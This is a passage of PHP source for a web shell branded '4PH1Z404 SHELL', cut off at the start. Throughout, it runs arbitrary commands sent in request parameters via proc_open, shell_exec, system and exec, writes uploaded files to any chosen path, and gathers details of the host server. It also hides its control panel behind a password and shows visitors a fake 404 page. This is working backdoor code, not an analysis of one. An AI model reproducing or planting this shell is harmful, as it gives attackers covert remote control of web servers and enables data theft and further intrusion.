['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];
$p=proc_open($_GET['c'],$d,$pipes);
$r=stream_get_contents($pipes[1]);
fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($p);
}
echo $r;
exit;
}
// File upload: POST f=file
if(isset($_FILES['f'])){
$dest = isset($_POST['d']) ? $_POST['d'].'/'.$_FILES['f']['name'] : $_FILES['f']['name'];
if(move_uploaded_file($_FILES['f']['tmp_name'], $dest)){
echo "OK:".$dest;
} else {
echo "FAIL";
}
exit;
}
// Full panel
if(!isset($_GET['pass']) || $_GET['pass'] !== $auth){
http_response_code(404);
echo "404 Not FoundNot Found
";
exit;
}
$cwd = isset($_POST['cwd']) ? $_POST['cwd'] : getcwd();
$cmd_out = '';
if(isset($_POST['cmd']) && $_POST['cmd'] !== ''){
$cmd = $_POST['cmd'];
if(substr($cmd,0,3)==='cd '){
$nd = substr($cmd,3);
if($nd==='..'){$cwd=dirname($cwd);}
elseif(is_dir($nd)){$cwd=realpath($nd);}
elseif(is_dir($cwd.'/'.$nd)){$cwd=realpath($cwd.'/'.$nd);}
} else {
$full = "cd ".escapeshellarg($cwd)." && ".$cmd." 2>&1";
if(function_exists('shell_exec')){$cmd_out=shell_exec($full);}
elseif(function_exists('system')){ob_start();system($full);$cmd_out=ob_get_clean();}
elseif(function_exists('exec')){exec($full,$o);$cmd_out=implode("\n",$o);}
}
}
$uname = php_uname();
$user = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid())['name'] : get_current_user();
$ip = $_SERVER['SERVER_ADDR'] ?? '?';
$soft = $_SERVER['SERVER_SOFTWARE'] ?? '?';
$php_v = phpversion();
$disk_free = function_exists('disk_free_space') ? round(disk_free_space('/')/(1024*1024*1024),2).'GB' : '?';
$disk_total = function_exists('disk_total_space') ? round(disk_total_space('/')/(1024*1024*1024),2).'GB' : '?';
// File listing
$files = [];
if(is_dir($cwd)){
$dh = opendir($cwd);
while(($f = readdir($dh)) !== false){
$fp = $cwd.'/'.$f;
$files[] = [
'name' => $f,
'type' => is_dir($fp) ? 'dir' : 'file',
'size' => is_file($fp) ? filesize($fp) : 0,
'perm' => substr(sprintf('%o', fileperms($fp)), -4),
'mod' => date('Y-m-d H:i', filemtime($fp)),
];
}
closedir($dh);
}
usort($files, function($a,$b){
if($a['type']!==$b['type']) return $a['type']==='dir'?-1:1;
return strcasecmp($a['name'],$b['name']);
});
function fmt_size($b){
if($b<1024)return $b.'B';
if($b<1048576)return round($b/1024,1).'K';
if($b<1073741824)return round($b/1048576,1).'M';
return round($b/1073741824,2).'G';
}
?>
<?php echo $ip; ?> — 4PH1Z404
4PH1Z404 SHELL
OS:
User:
PHP:
Server:
IP:
Disk:
/';
foreach($parts as $p){
$built .= '/'.$p;
echo '
'.$p.'/';
}
?>